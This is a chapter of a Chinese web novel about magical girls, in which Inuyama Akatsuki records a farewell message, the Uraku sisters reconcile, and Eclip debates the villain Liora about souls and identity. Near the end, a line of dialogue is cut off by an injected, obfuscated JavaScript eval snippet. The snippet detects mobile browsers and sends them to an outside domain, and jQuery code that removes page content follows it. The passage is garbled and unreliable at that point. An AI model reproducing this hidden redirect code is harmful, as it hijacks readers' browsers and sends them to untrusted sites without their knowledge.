“她都在研究魔法了,研究什么都不稀奇吧。”有乐羽生说着摸出了相机,“在药物失效之前,请告诉艾克里普你想说的话吧!” 犬山晓面对摄像头时有些紧张,她擅长找到摄像头,这样会安静无声地纪录下一切的器械会毫无保留地将她的所作所为告知另一端的存在,但在现在这样特殊的情况下,摄像头的特性反而是她所需要的。 “我准备好了。”犬山晓思考完毕。 “艾克里普,距离上一次见到你还没过去多久,那时你来我家玩我都没来得及好好招待你,光顾着做自己想做的事情了,抱歉。”犬山晓说起这里还有些不好意思了起来,“我邀请你来我家玩,但我想,上次并不是一个好的作客体验吧,我甚至没有给你准备一把坐下的椅子。 艾克里普,利奥拉对你说的话我都记得,我都听见了,现在,我也能理解了。利奥拉说你是魔物,这或许对那时的你来说是非常不能接受的一件事吧,但现在我要告诉你我当时的第一时间的内心想法是什么。 我当时在想,那又怎么样呢?我很早以前甚至分不清人和动物的区别,现在分得清了,但有的时候却还是觉得没什么区别。我看到你生气,所以才那样说的,如果你现在为当时的我的发言感到不安和痛苦,那请让我在这里向你道歉。我不在乎你是人,是魔物,是动物,还是魔法少女,我想和你一起走向未来。 利奥拉是个很奇怪的人,她说,如果回到过去的话会让我的妈妈一直陪在我的身边。但实际上那并不是我想要的,我很怀念妈妈,很想见她,但我是不会想让她一直陪在我的身边的。我记得我的妈妈是个什么样的人,所以知道,我们是没办法永远生活在一起的。 所以,我认为她所说的那个国度确实是一个非常温暖,非常安全的地方。但是,我不想去那里。 有句话我上次没来得及说,这次或许就是最后的机会了。艾克里普,我希望你能再次来我家里做客,我一定会好好接待你的!哈哈,这样说是不是有点像个有家的人了?” 影像记录完毕。 犬山晓还坐在长椅上,她沉默着,感受熟悉的力量回到她的身上,但她并不感到愉快。 “羽生。”犬山晓在最后的限制回来之前说道,“飞走吧,飞去她找不到的地方,你是自由的,哪怕只有你是自由的也没关系的!” “…不要!”有乐羽生拒绝说,“如果你们不在这里,大家都不在这里,那我就没有可以回来的地方了,所以我不要!” 犬山晓看着有乐羽生,她没有再开口了,只是看着,但有乐羽生却能感受到,犬山晓在送别自己。 “我会让艾克里普看完的。”有乐羽生说,“然后,我们会一起来做客的!” 犬山晓笑了。 “还有,克拉拉小姐她说。”有乐羽生想了想,说道,“她说有很重要的话要和你说,快过去找她吧。” “重要的话?”犬山晓有些疑惑,但还是担心地点了点头,“我现在过去找她。” 87.Day0 艾克里普站在瞭望塔的顶端,俯瞰城市下方的风景,或者说利奥拉的盛大庆典。她没有去看那些人,原因和她此时所站在这里的原因同理。 “因为人类很讨厌,对吧?”利奥拉在她的一旁抱怨着说,“明明都这样了却还是有人不满意,真是贪心又烦人,不过很快就会结束了!” 天色微暗,象征着这一天的结束,也暗示明天近了,但相反,这对于她们来说有着不同的意义。 “为什么不说话?”利奥拉靠近了艾克里普,打量她面纱与头发之下的脸,“好难看的一副表情啊,因为羽生那孩子和你吵架了?那可不得了,她生气起来可是很可怕的,不过很快她就不会再与你置气啦,到时候你只要拥抱她,她就能理解你了。” 艾克里普什么也没说,什么也没做,她只是在等待那一刻的到来,她什么都做不了,也什么都不应该去做了。 “啊,你看,那是晓!”利奥拉扶着金属杖指向地面上一个渺小的黑点,“在和那个伊芙的学生逛街呢,希望她能意识到有些东西现在不说就没机会了,一百年后她还会想和那个人一起逛街吗?到时候问问她好了!” 艾克里普没有去看,那没有意义。 “哦哦,那是未央和未雅,她们也过来玩了吗?好像很开心的样子呢。”利奥拉又指向另一边的两个小点,“以后她们就会一直这样开心下去,不必担心会和彼此分开了吧,这也是我的愿望呢,她们两个分开后都会缺少某些生存的必要条件,虽然在一起的时候也没多好就是了!” 艾克里普没有去看,那毫无价值。 “她们也在呢!不枉我让西弗尔特一大早开车去把她叫过来,这个时候这些老面孔怎么能缺席呢?”利奥拉指向不同的几个点,那些是白夜社内的知情人士们,“上午的时候好像还在想办法的样子,现在也差不多都冷静下来了吧。那可是些挺有意思的人呢,你是怎么想的呢,艾克里普?来畅所欲言吧,反正后面她们大概也不会再出场了。” 艾克里普没有说话。 “我说你也太沉默了吧!”利奥拉不满地用金属棍敲塔顶,“至少应我一声‘嗯嗯收到’如何?冷处理在人际关系中可是大忌哦?不过不管怎样我都是会一直说下去的就是啦。” 塔顶下方一扇从外面无法被察觉到是窗户的玻璃被从内部打碎了。 “利奥拉,贝克勒尔回归了。”有乐千实的声音从里面传出。 “是吗?也有不喜欢热闹的人呢,我能理解啦。”利奥拉趴在塔顶边缘把头倒着伸向下方,“你呢?感觉如何?有和谁握手言和或者说一些生离死别之前才能表达出口的肉麻话吗?” “那很无聊,庆典也是。”有乐千实面无表情地看着倒吊下来的利奥拉。 “诶?为什么不嘛,至少去和你姐姐说一句‘拜拜’什么的嘛。”利奥拉把头部靠近了有乐千实,“庆典很无聊吗?抱歉,很快就结束了哦,不如我开放权限你去和晓打架玩好了。” “我该说的话已经说完了。”有乐千实说完这句话就转身离开了。 “也是,也不是每个人都喜欢游乐园的。”利奥拉叹了口气站了起来,“千实在这方面可是很挑剔的,也很严格。你呢?要透露一下你的爱好吗?” 利奥拉转过头去看,艾克里普已经不在原地站着了。 “你在这方面倒是很好懂啦。”利奥拉笑了笑,“你说是吧,阿尔卡纳?” “是的,需要对信息库进行更新吗?”电子音回应道。 “不,之后再说吧。”利奥拉说着,重新坐了下来望向天空,“无论如何,这可是我期待已久的一天,至少让我自己享受一下吧。” 城市热闹非凡,艾克里普不喜欢热闹的地方,也没有去找自己的朋友们,只是漫无目的地在城市里游荡,没过多久她停了下来,前方是夜藤事务所本该存在的位置,现在那只有一层表象,她抬头,那表象也消失了,坑洞无声地存在于那里,诉说着内部的缺乏。 艾克里普站定,她并没有像上次那样绞尽脑汁地为合理性寻求一个答案,因为答案已经不重要了,若是她想要的话,那她随时可以开口向利奥拉讨要她的事务所。 但那似乎也变得没有意义了起来,为什么呢?艾克里普不理解。 “艾克里普!”有乐羽生从空中落下,站在了艾克里普的身前。 那是她的朋友,艾克里普一愣,不禁感到了欣喜与安慰,但很快她的内心又被另一些感情充斥了,比如焦躁不安,心虚,悲伤,以及,委屈和生气。 为什么呢?艾克里普没有再去想原因,只是看向有乐羽生,露出了笑容。 “羽生。”艾克里普微笑着呼唤道,“今天过得怎么样?” 有乐羽生看着艾克里普,她们分开之前,她自己还说了不要去找她,结果艾克里普就真的没有来找过她。想到这一点,有乐羽生忍不住笑了。 “目前为止,非常坏!”有乐羽生笑着说,“但是今天还没结束,所以,还不能进行总结对吧?” 说完,她将手里的信件和照相机交给了艾克里普。 “艾克里普,这是你事务所里面的信以及我从她们那里收集到的一些她们想对你说的话,无论是哪个,你都必须要看完,知道吗?”有乐羽生郑重地看着艾克里普说。 “…那不会有意义的,羽生。”艾克里普了然了一切,她看着手里的摄像机和信件,只感受到了悲伤,没有感受到期待和欣喜,“这些东西只是短暂的,我们会有漫长的时间去说我们想说的话,去互相理解,不需要使用人类制造的记录器械和语言去解释。” “我就知道你会这样说。”有乐羽生笑了,随后说道,“那就以这个为前提吧,艾克里普,反正你现在也没事干,就当作这是你唯一的消遣,把它看完吧。这是大家最后留给你的话,哪怕是最普通的,最无聊的语句你都会记住的对吧?” 这句话让艾克里普愣了愣,她看向手里的相机,不禁产生了一种“缺的东西总算有机会补上”的微小满足感,她沉默片刻,还是点了点头。 “我会看完,然后记住的,我答应你。”艾克里普笑着说。 “利奥拉在哪里?我要去找她了。”有乐羽生问道,她知道艾克里普肯定知道。 “她在。”艾克里普刚想毫不犹豫地回答,就突然感受到了有感情扼住了她的声带,她皱眉,【她在瞭望塔顶端上站着发呆。】 “…她自己都不参与庆典啊。”有乐羽生说完,笑了笑说,“我出发了!” 艾克里普点了点头。 微暗的天空下,城市被来自不同国家的灯具照亮的犹如白昼一般,身处其中的人们根本无法意识到黑夜的降临。装饰华丽的花车和小列车代替地面交通承载需要前往其它地区的客人,速度当然也是电油发动者无法比拟的。所有人都发自内心地承认了魔法的存在,那么,她们当然也就没有了拒绝的理由了。 电梯换成了反重力滑梯,在底部坐好就能被提到楼上。公园旁的饮水喷泉里流出了鲜榨橙汁,如果要问为什么是鲜榨的话,那只要看向一旁结满果子的果树上链接的管道就能理解。高速公路的车道变成了过山车的轨道,谁都不用再担心车祸的发生。运河上此起彼伏轮转的并非是风车,而是摩天轮,每个人都有机会去水下观看鲑鱼的游行。 中心绿地公园的体育馆本被用于避灾,但在设计几经修改之后变成了一个大型舞台,舞台中正在进行演出的是没来得及离开这座城市的偶像组合破冰者【星星符号】,但并非她们本人,而是她们控制的自身live2d形象的超大型3D建模的实体,一抬手运河对岸的商业街上的每个人都可以看到她们的笑容。 市政府区域那死板的建筑被更没风格的几何图形积木替代了,颜色倒是鲜艳了不少。 原本Evo园区所在的位置被清空了,一个占领了整个园区地址的圆球漂浮在地面上空1米左右的位置,圆球表面是显示屏,实时转播各个地区的庆典盛况。 “真是热闹啊。”有乐羽生站在瞭望塔下方感叹道,她转过身抬头,利奥拉就在顶端,那赤红的一点她不会漏看。此时瞭望塔倒是保持了一如既往的朴实模样,禁止入内的警戒线都没有取下,就好像庆典独独漏下了这里一样。 一切喧嚣在她的耳边失去了存在感,有乐羽生抬起银色长剑,闭上了眼睛。 “我来迟了,不过我带了礼物来!”有乐羽生这样说着,再次睁开了眼。 魔力云绕,没有风被吹起,但巨大的蓝鲸从瞭望塔下方的凭空涌出,没有水花四溅,这里没有大海。那张开的巨口将瞭望塔从下往上整根吞下,整个城市中只要能看见的都朝这里投来了视线,但这已经不再是不合理的了,所以,她们只是惊叹。 惊叹庆典的新成员的姗姗来迟,但足够亮眼。 蓝鲸将瞭望塔吞没后飞向天空,以那庞大身体不相符的轻盈感悠然转身,身躯被分为好几段,每一段都以自己的方向旋转,最后蓝鲸消失,碎屑都没有留下。 高空之上,利奥拉悬于空中,她毫发无伤。 “花里胡哨。”有乐千实的身影从瞭望塔本来所在的位置不远处站起,她拍了拍身上的尘土,看向有乐羽生,“你该控制输出效率了。” “千实阿姨!”有乐羽生现在看到有乐千实都不会感到生气了,她想起有乐千奈说的那些话,再看到有乐千实,甚至感觉挺亲切的。 有乐羽生跑到有乐千实身前站定,开始掏自己的口袋,有乐千实皱了皱眉头,上下扫视了有乐羽生一圈,不明白对方跑过来是想做什么。 “你想挣扎?那会很难看。”有乐千实冷漠地说。 “正好遇到了那我就问问,千实阿姨,你在周六的时候对我使用了魔法,但那魔法后来失效了,原因应该是你的死亡,为什么?你是怎么死的?”有乐羽生看着有乐千实问道。 “…你为什么觉得我会回答你?”有乐千实皱眉问道。 “你现在不说之后可就没机会组织语言了!你为什么会死?15年前离家的原因到底是什么?母亲她一直很在意的,她说了是因为你所在的位置会带来风险才拒绝你接近的,你也知道她就是这样的吧?所以你才会说‘我这些年过得不错’这种撑面子的话来。”有乐羽生举起手机展示屏幕,“看到这个号码了吗?我要拨出去了哦!” 那是有乐千奈的号码,有乐千奈从来不拨打有乐羽生的号码,但她也从来不拒接。 有乐千实伸手去抢手机,但有乐羽生早有预料,使用空间魔法直接退后了5米远。 “该说的话我已经说完了。”有乐千实厌烦地说,“理由也好,遗言也好,我没有还需要补充的东西。” “那你为什么不想让我打电话?”有乐羽生问。 “…你拨打了电话后她就会过来,然后,她会死。”有乐千实说着,嗤笑了一声,“不过那也是无所谓的事情了。” 有乐羽生知道,她真的是发自真心地这样认为的,这令她感到悲伤。但若是有乐千实在很早以前就准备好了答案,只是当时没能完全说出口的话,那便还有机会,还有机会让她们这对分离15年的姐妹理解彼此,有乐羽生真心地希望这件事发生。 “母亲她是这样评价的,她说还以为你能带给她什么惊喜,没想到不过如此而已。”有乐羽生说着,拨通了电话,“您让她失望了呢。” “…那不重要了。”有乐千实沉默片刻后说道,“她是个再普通不过的弱者,我没有必要去博得她的认可,你之后也会理解这一点的。” “喂?母亲?”有乐羽生接起电话,“嗯,我还好,不用担心的。啊,抱歉。” 有乐千实就这样看着有乐羽生对着电话点头,这只是语音通话而已,她因为觉得这个行为很蠢而笑出了声。听到这个笑声,有乐羽生抬头看向有乐千实,并缓缓放下手机捂住了听筒。 “为什么要理解。”有乐羽生问,“你无法想象到自己获得她的认可的未来吗?” “你说什——”有乐千实刚想斥责就看见有乐羽生放开了捂住听筒的手。 “我现在?我和千实阿姨待在一起,对,抱歉,我可能今晚不能回去了。”有乐羽生点着头说,“…是的,哦哦好!” 随后,她把手机往有乐千实的怀里一塞,对她笑了笑,转身,飞向了天空。 有乐千实看着手里的手机,那上面的改装她一眼就能认出功能,拨号界面还亮着,扬声器是打开的模式。她皱了皱眉,准备挂断电话。 “回头。”严肃的声音从电话那头和她的身后传来。 有乐千实回头,看到有乐千奈提着电话下车,在那笑话一般的街道中站定,看向她,面色不愉,但姿态优雅地朝她走来。她皱眉,捏碎了手里的手机。 “那可不是你的手机。”有乐千奈用斥责的语气说道。 “…那又如何?”有乐千实移开了视线。 “你也不该活着。”有乐千奈冷声说道。 “哼。”有乐千实嗤笑了一声。 “你这么多年真是一点长进都没有。”有乐千奈也冷笑着说,“我很久以前就教过你,沉默在了解你的人面前是最无用的自我防护手段。” 确实是很久以前了,至少是15年前。 “那你也应该意识到,你早就不了解我了。”有乐千实说,“还是说你的观察力终于退化到了只能注意到眼前发生之事?那也足够你意识到我的改变了。” “你确实和变了个人没什么区别,但我不会认错人,你本质上不曾改变过。”有乐千奈说。 “本质?你要怎样才能看穿一个人的本质?”有乐千实不屑地说,“你就是最看重表象的那个人,因为只有那对你而言是有意义的。” “要是只看重表象我就不会认出你了,你自己照照镜子看看你现在是个什么样子吧,从表象来看的话说是我教过的我都嫌丢人。”有乐千奈皱眉说,“我是不是和你说过着装彰显态度?你的头发又是怎么回事?还有你身上的那些疤痕,难道你以为这样做就能让你自己看上去足够强大了吗?” “够了!”有乐千实忍无可忍地打断道,“那些对我而言毫无意义,你无法察觉到我的强大吗?那毫无疑问是事实!”‘ “那关我什么事?你也要说你是魔法少女吗?”有乐千奈皱眉,“你不是我的部下,你的能力强大与否对我而言没有任何的意义。” “当然,当然没有意义。”有乐千实怒极反笑,“你的评价对我而言也毫无意义,你对我而言也毫无意义!” “你是这样想的吗?”有乐千奈顿了顿,“那你确实没什么长进啊。” 有乐千实一顿,她改变就不理解对方为何能说出这句话来。 “你从很久以前就是这个样子了,千实。”有乐千奈说,“你遇到问题只会一个劲地往前走,而且走的非常快。” “那也比你这样停滞不前的好!”有乐千实愤怒地说,“往前走又如何?我无论在哪里都可以生存下去,而且站在最顶层,继续走向下一个阶段,你呢?你被利益绊住了脚步,你就这样一直在自己制造的安全区原地踏步吧!” 说完,她就看见有乐千奈的眼角开始抽搐,那是她生气的象征。有乐千实感到满意,她认为对方感到愤怒是因为被自己的言论击败了。 “你又好到哪里去?”有乐千奈怒声斥责,“你一个劲地往前走到底是为了追逐新的东西,还是为了逃离旧的东西?我还能不知道你?” 有乐千实呼吸一滞,她张嘴,想反驳什么,她当然是为了追逐更强大的存在,更不可思议的世界,更完美的自己。但是,她也确实没有和旧的东西好好告别过。她意识到这一点,也意识到,有乐千奈确实理解自己。 但是,有乐千实发自真心地认为,事到如今这些全都没有意义了。 “你想说什么?”有乐千实冷漠地问,“你确实知道,那又如何?” “…真搞不懂你们这些东西。”有乐千奈眼角又抽了抽,“不过事到如今一切都无所谓了,庆幸吧,你本绝无可能听到我说这句话的。” “说什么?”有乐千实皱眉问。 “说,事到如今一切都无所谓了,这句话。”有乐千奈嗤笑一声重复道,“怎么,不敢相信我居然能对你如此仁慈吗?” “你在说什么啊?”有乐千实不理解对方在说什么,“一切确实都无所谓了,这还要你来重复?” 有乐千奈深呼吸,再次深呼吸,但是没用,她的眼角抽动得厉害,带着头也一起疼了起来。她扶着额头看向眼前确实大变样的妹妹,许久之后,叹了口气。 “我是在说,现在,你可以回来了。”有乐千奈说道,她的语气很平静,没有冷笑,没有愤怒,也没有欣喜,只是平静地说出了这句话,“风险和威胁已经无所谓了,所以现在你可以回来了。” 就这个吗?有乐千实有些失望。 “我不在乎。”有乐千实说,“我为什么要回去?那栋房子从很久以前对我而言就不是家的代表了,我没必要去那里。” “你又在逃避过去的事情了。”有乐千奈冷笑一声,“你以为这种情况下回家还有什么意义吗?下一秒陨石毁灭世界对我来说都不是小概率事件。我让你回来,是因为只有在那里,我们可以像十五年前那样继续讨论那个问题。” “…什么问题?”有乐千实问。 “关于,我的家族中的成员,包括你在内,对我而言算什么,这个问题。”有乐千奈说。 “这算什么。”有乐千实想冷笑一声,但不够冷,她只是笑了。 “算我在道歉吧。”有乐千奈平静地说,“你的房间还锁着,去那个会客间谈。” 有乐千实哑然。有乐千奈没说什么,她转过身,走向开着的车门。 “…有更快的交通工具。”有乐千实沉默了许久之后说道。 “闭嘴,上车。”有乐千奈头也不回地说。 有乐千实什么都没说,跟了上去。 “为什么?”利奥拉看着那辆车驶离街道,“为什么明明没有意义还要去做,为什么她真的只是站在那里说了几句话,千实就真的和她离开了?为什么?明明她更信任我,明明她更喜欢我这边的东西,明明她认可我带给她的未来,为什么她还是回去了?” 有乐羽生看着那两个人离开,笑了笑。 “为什么?”利奥拉看向有乐羽生,“你做的那些事也是没有意义的,你自己其实也逐渐意识到了吧?为什么不享受庆典呢?我知道你最喜欢游乐园了,你的朋友也都在这里不是吗?” “你又为什么想要否定那些过去呢?利奥拉?”有乐羽生看着对方问道,“你都看着的吧,你看着千实阿姨离家,看着我们去游乐园,又看着今天的你自己举行的庆典,你为什么还是站在这么高的地方呢?” “…我不知道,羽生。”利奥拉说,她没有在笑,“你为什么总是在用这幅表情看着我呢?无论是我衰老到有些恶心到时候,还是我强大的时候,为什么你都只是这样看着我呢?” “我听不懂你在说什么。”有乐羽生说,“你说的那些我全都不知道,如果你要说你强大的时候是指现在这样的话,那我确实是看到了。” 利奥拉张开双手,布条没有被半空中的风吹起,她漆黑的眼眸注视着有乐羽生,问道,“如何?” “陌生而且奇怪。”有乐羽生如实评价道,“或许是因为我不了解你吧,我不喜欢你身上那些无缘由的奇怪点,你的所作所为我也不理解,也不打算接受。” “果然是因为不理解!”利奥拉意识到了问题所在而欣喜地笑了,“那只要你理解我了,你也会喜欢上我的吧!没错,千实离开又如何呢?她总归是会回来的,会发自真心地想要回到我的身边的,我们是朋友,是同行者。她是在和过去告别而已!” “…真的吗?”有乐羽生再次产生了质疑,“说真的,朋友和同事差距可是天差地别,千实阿姨她真的有亲口说过,你们是朋友关系吗?” 利奥拉陷入了沉思,她凝神,空气都仿佛陷入了停顿。 “没有检测到可匹配的录音文件。”电子音从利奥拉提着的那根金属棍上传出。 “…那个时候你还小,不记得是正常的。”利奥拉说着,笑了起来,“没关系!过去是过去,未来我会让她发自真心地承认这一点的!你也是一样的哦,羽生,我们都会这样!” “不要,那很恶心。”有乐羽生提起了剑。 “哦哦,气势不错呢!很有魔法少女的感觉!”利奥拉赞叹道,“那就想尽办法来杀死我吧,就像是消灭魔物那样,就像是一个伟大的牺牲者那样!这次你一定是冷静地思考过之后再做出决定的吧,因为这次就是最后一次机会了,你不会再有机会去别的地方了,哪怕你杀死自己。” 有乐羽生没有说话,巨大的蓝鲸再次在她的羽翼身后显现,吞向利奥拉。 利奥拉没有动,白色布条从她的身上延伸,如灵巧的蛇,转瞬间缠上了本不可能被捉住的结界造物,并越来越密集,越来越紧,随后,蓝鲸消失了。 但那崩散于半空中的布条没有失去作用,而是继续冲向了有乐羽生,她刚想使用空间魔法移动离开,但很快,布条将她所在的空间锁定住了。 “空间魔法,也没那么难理解啦,你是该多学点物理学的。”利奥拉说着,笑了笑。 布条转瞬间再次收紧,有乐羽生在白色缠绕上自身时看到了灿烂的白光,听见了如交响乐般的此起彼伏的赞颂,感受到了温柔的托举,以及缓缓消失的重量。 “那么,这样就结束啦!”利奥拉满意地说着,抬头看向了天空,“感觉没什么意义啊,虽然时间还早,但是主办方不乐意的话提前结束也没有办法的吧。” 随即,她转过头,看向出现在那里的存在,“对吧,艾克里普-阿尔卡纳?你是来排队的吗?真是迫不及待啊。” “我是来和你辩论的,利奥拉。”艾克里普说。 “…为什么?那已经没有意义了吧。”利奥拉不满地说,“事到如今还要证明些什么吗?不需要了吧,无论你想说什么,之后我都能够理解的。” “有意义的。”艾克里普看着利奥拉说,“对我来说有意义,对你来说也有。” “什么?”利奥拉问。 “对我来说的意义暂且不提。”艾克里普说,“对你来说,如果你没能在这场辩论中赢得胜利,那么你所做的一切都会失败,因为,我会阻止你,而你不可能战胜我。” 利奥拉顿了顿,看了一眼下方的庆典,叹了口气。 “那就让她们再开心一段时间吧。”利奥拉说,“说到底一直以来我都一个人自说自话也挺无聊的,你大概是唯一那个能和我辩论些什么的人了吧。” 随后,她抬手,半空中出现了两把简单的白色单人椅,以及一张茶桌,利奥拉率先坐了下来,自得地支着脑袋看向艾克里普。 “那么,这边准备完毕了!”利奥拉笑着说,“辩手利奥拉和助手阿尔卡纳。” 艾克里普也坐下了。 “辩手艾克里普和助手阿尔卡纳,准备完毕。”艾克里普说。 “…你是不是刚才抄袭了什么东西?”利奥拉质疑道。 “第一个问题,魔法少女的职责是什么。”艾克里普没有回应利奥拉的质疑,抛出了第一个问题。 “是以人类的语言为前提在人类社会中通过与人类沟通扩大魔法影响力。”利奥拉回答的非常迅速,声音平静而冷漠。 “我曾经也是这样认为的,还是说你只是重复了我的语句?”艾克里普说,“魔法少女在视线限制之下无法直接使用魔法,而且出于现代人类社会道德栽培,魔法少女早在两个世纪前就逐渐失去了这一行为能力。没有执行能力的责任不叫职责,所以,我否认你的观点,或者说我过去的观点。” “这场辩论的裁判到底是谁啦,难道说有我看不见的观众在投票吗?”利奥拉不满地说,“而且根据你的论点,执行能力根据个体的能力而定,我认为我本身就是最好的例子,而你就是认可我作为魔法少女的人吧。” “你的行为并非以沟通为方式,而是暴力。”艾克里普说,“不需要裁判。” “…那你的论点是什么?”利奥拉问。 “魔法少女的职责,是带来奇迹。”艾克里普笑着说。 “这真的是很意义不明的语句,这算什么?”利奥拉冷笑一声,用大拇指指了指下方的庆典,“这不就是吗?” “你我都清楚,这并非奇迹,而是魔法,奇迹是指无限接近于0的可能性的实现,你自己知道这场庆典实现的可能性绝对没有那么低吧。”艾克里普说。 “裁判在哪里?”利奥拉左顾右盼,“两边的论点都已经陈述完毕了哦,裁判在哪里?” “我说了,不需要裁判。”艾克里普说,“第二个问题,魔法少女的定义是什么?” “基于人类诞生的,能自主觉醒魔力资质,并且能以常规生物形式参与魔力体系,并参与魔物的传承行为的存在。”利奥拉回答说,“等等啊,你不会是想说我不是魔法少女吧?不过这个称呼还挺难为情的啦不用这个也可以就是。” “这是你观察到的事实,你确实是不错的科研人员,利奥拉。我并非裁判,我承认你是魔法少女,但我的承认仅是对你而言的。”艾克里普说,“基础没有错误,但是还差关键节点,也就是对自我的抛弃和再定。” “…我多少有点理解伊芙的学生平时的感受了,你尽谈些只有自己才理解的东西谁能和你聊起来?”利奥拉说着,撇了撇嘴,“你确实是能直接观察到的吧,用你那双眼睛。” “那下一个问题你应该会熟悉一些。”艾克里普说,“最后一个问题是,人类的定义是什么?” 利奥拉顿了顿,坐了起来。 “你,在反驳我之前对你的否认,你还挺记仇的嘛。”利奥拉笑着说,“对自己之前什么都做不到的样子感到羞愧了吗?” “…是的。”艾克里普没有遮住自己的脸,她摘下了面纱,正视利奥拉回答道,“我感到羞愧,后悔,以及悲伤。” “所以你才这样啊。”利奥拉一副失去了兴趣的样子重新半躺回了椅子上,“但没关系的吧?她们都会理解你的啦,这早就不需要我重复了吧?” “有关系,有意义,有价值。”艾克里普坚定地说,“利奥拉,回答问题。” “那我就坚持一下我最初的论点吧。”利奥拉无所谓地说,“人类拥有灵魂,非人类的个体只有演化出来的习惯,也就是本能。而人类拥有超越这种基础行为追逐其它更遥远目标的能力,这种能力是灵魂驱使人类去做的。” “你是对的。”艾克里普点头,“我也认可这一点。” 利奥拉等着她抛出下一个问题,天色暗了下来,二人所在的半空中也是。 “那么,最后一个问题了。”艾克里普看向利奥拉,问道,“我是谁?我是魔物,魔法少女,还是人类?” 利奥拉一时没有说话,她不可置信地打量着艾克里普,最后,嗤笑出声。 “搞半天你是想来这一套啊,你早说不就好了?”利奥拉笑着说,“你是谁重要吗?你想做什么都可以不是吗?你想做魔物,魔法少女,还是人类?最大的选择权在你手里啊艾克里普,你是最强大的那个,你想怎样自我弱化向下兼容都可以。你没有问的必要啊,这个事实难道还得我一个艰苦奋斗至今的人去主动告诉你吗?” “需要,因为你曾经说了,我是魔物。”艾克里普说。 “那么我现在保持相同的观点,艾克里普,你是魔物。”利奥拉说,“你不是人类,不是人类延伸出的魔法少女,不拥有灵魂,你能使用魔法,天生的魔法大概是吸收之类的,你吸收了大量人类之后获得了人类的感情和记忆思考模式,这些轮不到我来提醒你。” 利奥拉歪了歪头,看向艾克里普。 “我要提醒你的是,无论如何,你的本质都是魔物。就像犬山晓因实验死亡从血湖中复活,森山寺未央吞吃魔物,有乐羽生自我放弃一样,她们无论如何都是人类,都是魔法少女。”利奥拉微笑着说,“有感到悲伤吗?抱歉,我说的都是事实哦。” “你曾经说,我是魔物,那么,我曾经是。”艾克里普说,“或者说,阿尔卡纳是。” “你准备和过去割席了吗?之前就做过一次的话再来一次有些无聊了啦。”利奥拉抱怨说。 “不,我曾经以为我许下的愿望是理解人类的感情,但其实这个我早就能做到了,不仅仅是在过去,在我作为艾克里普重生之后也是如此。”艾克里普站起身,看向手里的石杖,“真正让我再定的愿望是,我想要丢下过往的一切,这个愿望才是让我脱胎换骨的本质,才是复生的基础。” “那你现在拿着的是什么?你如果准备丢了的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808020|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话能给我再研究研究吗?”利奥拉指着石杖问。 “是阿尔卡纳。”艾克里普郑重地举起石杖介绍道,“你说得对,艾克里普和阿尔卡纳。我不会丢下她,她也不会再成为我的道具了,我宣布,阿尔卡纳存在,而且拥有灵魂!” 石杖没有说什么。 “我说啊,艾克里普。”利奥拉闭眼,又睁眼,“以这个名字命名的长条形魔法道具已经存在了你能不能考虑一下名称重复这个问题?你这幅样子就像是和别人郑重介绍自己的玩具会说话的小孩子一样你知道吗?我当初叫你艾克里普和阿尔卡纳是在提醒你你的身份而不是让你一拍脑袋就做出这种事情来啊!” 说完这么一长串东西后利奥拉还是一副意犹未尽的表情,但是有声音打断了她。 “抱歉,我没听明白您的需求。”电子音表达疑惑。 “你的名字都要被抢走了啊还在这没听明白呢!”利奥拉一顿,“我的阿尔卡纳可是会说话的,你的会吗?” “人工智能不过是信息的处理工具,两者不同,不可放在一起比较。”艾克里普郑重反驳,“阿尔卡纳存在,是个体,且拥有独一无二的灵魂。” “麻烦解释。”利奥拉打断了艾克里普的反驳,“可别说你看得到什么的,我可不会认的。” “利奥拉,你还记得那场大火吗?”艾克里普问道。 “让羽生的父亲自杀的那场?我记得,我也算是目击证人了。”利奥拉回答道。 “那么,那场大火之后,未央的尸体是你回收的吗?”艾克里普问道。 “是,同事一场,连收尸都不做就太过分啦。”利奥拉皱眉说。 但利奥拉发现,这个回答让艾克里普露出了非常欣喜,非常笃定的微笑。她无法理解这个笑容为何会出现,她讨厌这种感觉,也因此生出了不好的预感。 “阿尔卡纳告诉我说,给未央收尸的人是她的父母。”艾克里普微笑着说,“她那时已经失去了行动能力,而且魔力完全不足以让她以那样快的时间回到另一个区域的她父母家门口,这是奇迹。” “不可能。”利奥拉笃定地说,“你难道要说我见到的那具尸体是假的吗?我可不会承认这一点。” “两边都是真的吧。”艾克里普看了看手里的石杖,“因为阿尔卡纳只是看着一切,未雅她所做的那些事她也看着,她也记下,也告诉她说‘我承认你所做所为是有意义的’,然后在我问她那时发生了什么的时候,她选择了这一边来告诉我。” “这位石杖还是个不错的桌游主持人啊。”利奥拉冷笑一声,“这有什么意义?这说明了什么?这就能证明你所说的灵魂存在论吗?” “是的,阿尔卡纳主动选择了未雅,并将她的选择告知于我,她已然拥有了灵魂。”艾克里普抬起了石杖,用额头抵靠住它。 “抱歉,我——”电子音又想说什么,被利奥拉强行停下了。 “…你开心就好。”利奥拉说,“那你呢?你又要如何证明你有灵魂呢?” “我站在这里,与你辩论,就说明了这一事实,利奥拉。”艾克里普看向利奥拉,郑重地说,“我不会再让你继续夺走我和我的朋友们的未来了。” 利奥拉缓缓站起身,看向了艾克里普,随即,她笑了。 “原来是这样。”利奥拉笑得合不拢嘴,“原来到头来我还是反派啊哈哈哈——” 桌椅消失了,狂风四起,庆典区域大面积停电,建筑坍塌,一切都在往本该有的模样不可逆地归去。 “看到了吗?”利奥拉摊手质问道,“因为你,大家的庆典都被毁了!为什么要这样做呢?现在大家都没办法开开心心地笑下去了!” “今天的快乐能延续到明天吗?能延续到未来吗?”艾克里普质问道,“利奥拉,我已经能理解人类的感情了,你做得到吗?” “我为什么要去理解?!”利奥拉愤怒地反驳,这是她第一次在艾克里普面前表达这样盛大地愤怒,她的漆黑双眸收缩,如黑洞凝聚一般,“我创建的国度里没有人需要那样做!没有人会受伤!这不就够了吗?!” “那是因为反对的意念不会被允许。”艾克里普说着,留下了眼泪。 